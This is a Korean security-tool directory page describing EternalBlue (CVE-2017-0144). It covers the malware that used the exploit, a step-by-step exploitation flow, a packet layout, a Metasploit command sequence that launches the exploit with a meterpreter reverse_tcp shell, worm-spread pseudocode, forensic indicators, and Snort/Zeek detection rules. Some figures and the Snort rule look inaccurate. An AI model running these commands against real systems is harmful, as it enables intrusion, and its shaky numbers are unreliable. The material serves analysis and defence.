Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Blackash-CVE-2017-0144 — CVE-2017-0144 | Kitploit
도구/GitHubGitHub/firetemple/blackash-cve-2017-0144
Vulnerability AnalysisExploitationForensicsMalware AnalysisPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationCurated Resources
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

16111개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 원격 코드 실행 취약점

EternalBlue

"하나의 익스플로잇. 수십 개의 악성코드 계열. 수십억 달러의 피해."


🔍 한 줄 요약

CVE-2017-0144는 Microsoft Windows의 SMBv1 서버 구현에 존재하는 치명적인 원격 코드 실행 취약점입니다. EternalBlue로 알려진 익스플로잇이 이 구멍을 악용했으며, 높은 영향력을 가진 공격(특히 WannaCry)에 사용되었습니다.


🔥 EternalBlue를 사용하는 상위 10대 악성코드 (상세)

#악성코드유형최초 발견공격자피해 규모비고
1WannaCry랜섬웨어2017년 5월 12일라자루스 그룹 (북한)$4–80억킬 스위치: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetya와이퍼 (랜섬웨어로 위장)2017년 6월 27일샌드웜 (러시아)$100억 이상Mimikatz + EternalBlue + PSEXEC 사용
3Bad Rabbit랜섬웨어2017년 10월 24일Indrik Spider지역적가짜 Flash 업데이트 드라이브바이
4Uiwix랜섬웨어2017년 5월알 수 없음낮음킬 스위치 없음, WannaCry보다 은밀함
5EternalRocks웜2017년 5월알 수 없음중간7개의 NSA 도구 (DoublePulsar 포함)
6Adylkuzz암호화폐 채굴기2017년 5월알 수 없음높음 (은밀함)WannaCry 이전에 모네로 채굴
7Retefe뱅킹 트로이목마2017–2018년알 수 없음EU 은행측면 이동을 위해 EternalBlue 사용
8TrickBot모듈형 악성코드2017–2021년Wizard Spider전 세계EternalBlue를 통해 Ryuk 유포
9Emotet로더2017–2021년TA542전 세계Cobalt Strike 진입점으로 사용
10Clop / Dridex랜섬웨어2019–2025년TA505의료, 정부2025년에도 여전히 활동 중

🧨 EternalBlue 익스플로잇 진화

eternelblue1
도구출시일기능
EternalBlue (원본)2017년 4월 (Shadow Brokers)SMBv1 RCE
DoublePulsar2017년 4월백도어 임플란트 (ring0)
EternalRomance2017년 4월SMBv3 변종
EternalChampion2017년 4월대체 SMB 경로
Metasploit 모듈2017년 5월exploit/windows/smb/ms17_010_eternalblue
FuzzBunch2017년 4월NSA 익스플로잇 프레임워크
Impacket + PSEXEC2017–2025년Python SMB 익스플로잇
eternelblue2

🔍 CVE-2017-0144 (EternalBlue)가 어떻게 악용되었는가

SMBv1 RCE에 대한 단계별 기술 심층 분석

"하나의 변조된 패킷. 전체 SYSTEM 액세스. 로그인 없음. 클릭 없음."


🎯 TL;DR 익스플로잇 흐름

[공격자] 
   │
   ├──▶ 조작된 SMBv1 **Trans2** 요청 전송
   │       → `srv!SrvOS2FeaListSizeToNt`에서 **힙 오버플로우** 트리거
   │
   ├──▶ 함수 포인터 덮어쓰기 → **커널 셸코드**
   │
   └──▶ **DoublePulsar** 백도어 실행 → **Ring-0 페이로드**
           (예: WannaCry `mssecsvc.exe`)

🛠️ 악용을 위한 전제 조건

요구 사항세부 사항
대상SMBv1이 활성화된 Windows (Win10 이전 기본값)
열린 포트445/TCP (또는 NetBIOS로 139/TCP)
인증 없음인증 불필요 — 사용자 이름/비밀번호 불필요
아키텍처x86 또는 x64 (둘 다 지원)
패치 상태패치되지 않음 (MS17-010 이전)

🚀 익스플로잇 단계 (7단계)

1단계: SMB 프로토콜 협상

SMB_COM_NEGOTIATE → 클라이언트가 방언 목록 전송
서버 응답: SMBv1 지원됨 → 진행

이유? SMBv1이 활성화되어 있는지 확인합니다.


2단계: IPC$에 트리 연결

eternelblue3
\\대상\IPC$ → SMB 파이프를 위한 익명 공유

목적: 트랜잭션 요청을 보낼 세션을 설정합니다.


3단계: Trans2 세션 설정 (기본)

  • SMB_COM_TRANSACTION2 (0x32) 사용
  • 하위 명령: SESSION_SETUP
  • 변조된 크기의 FEALIST 구조 설정
FEALIST {
    SizeOfListInBytes = 0xFFFF (또는 큰 값)
    ...
}

버그 트리거: SrvOS2FeaListSizeToNt()가 경계 검사 없이 이 크기를 신뢰합니다.


4단계: 보조 Trans2 요청 (오버플로우)

  • 여러 개의 보조 패킷 전송
  • 각 패킷은 과도하게 큰 FEALIST + FEA (파일 확장 속성) 포함
eternelblue4
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → 버퍼 오버플로우
}

힙 스프레이: 큰 청크를 할당하여 메모리 레이아웃을 제어합니다.


5단계: 커널 내 버퍼 오버플로우

srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // 공격자 제어
    PULONG pNtFeaListSize  // 출력 포인터
)
{
    // FeaList->SizeOfListInBytes 검증 없음
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // 폭발
}

결과:

  • 힙 오버플로우 → 인접한 커널 개체 덮어쓰기
  • 대상: SRVNET_BUFFER 또는 POOL_HEADER
  • 함수 포인터 덮어쓰기 (예: Free 루틴)

6단계: 커널 셸코드 실행

  • 공격자가 덮어쓴 함수 포인터를 통해 RIP/EIP 제어
  • 비페이지 풀의 셸코드로 점프

셸코드 수행 작업:

  1. Ring-0 → Ring-3 전환 (KeUserModeCallback 통해)
  2. 사용자 모드 메모리 할당
  3. 페이로드 다운로드/스테이징 (예: mssecsvc.exe)
  4. DoublePulsar 백도어 설치

7단계: DoublePulsar 백도어 임플란트

eternelblue6
  • 커널 드라이버 주입 (0x00120034 XOR 키)
  • 매직 SMB 패킷 수신 대기:
    • Ping: 0x0002C001
    • Exec: 0x0002C002 + 페이로드

WannaCry 예시:

EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 파일 암호화

🧨 익스플로잇 패킷 구조 (간략화)

SMB 헤더
└── 명령: 0x32 (TRANSACTION2)
    └── 설정: 0x000E (SESSION_SETUP)
        └── 매개변수: TotalDataCount = 0x1000
            └── 데이터: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → 힙 스프레이
                [OVERFLOW] → 풀 덮어쓰기
                [SHELLCODE] → x64 ring0

🛠️ 실제 익스플로잇 도구

도구언어모듈
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (NSA)EternalBlue-2.2.0
사용자 C2C/C++WannaCry, NotPetya

Metasploit 예시

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 메모리 포렌식 증거

아티팩트위치값
DoublePulsar커널 메모리XOR 키 0x00120034
셸코드srvnet.sys 풀0xCC 0x90 0x48 패턴
주입된 DLLC:\Windows\mssecsvc.exeSHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

🛡️ 탐지 규칙

Snort/Suricata

alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE 시도";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 웜 확산 (WannaCry 루프)

while (true) {
    네트워크에서 포트 445 스캔
    if (열림) → EternalBlue 익스플로잇
    if (성공) → mssecsvc.exe 드롭 + 확산
    Sleep(random(1000, 5000))
}

확산 속도: 전 세계적으로 시간당 ~10,000대 감염.


🛑 왜 그렇게 잘 작동했는가

요인이유
인증 불필요SMBv1은 익명 IPC$ 허용
웜 가능내장 LAN 스캐닝
커널 RCEAV/사용자 프롬프트 우회
레거시 SMBv115년 이상 기본 활성화
패치되지 않은 시스템중요 인프라의 XP, 2003, 7

🎯 익스플로잇 성공률 (2017–2025)

연도성공률 % (패치되지 않은 시스템)
201799%
202085%
2025~60% (레거시만 해당)

MS17-010이 설치되지 않은 Windows 7/2008 R2에서는 여전히 작동합니다.


도구 다운로드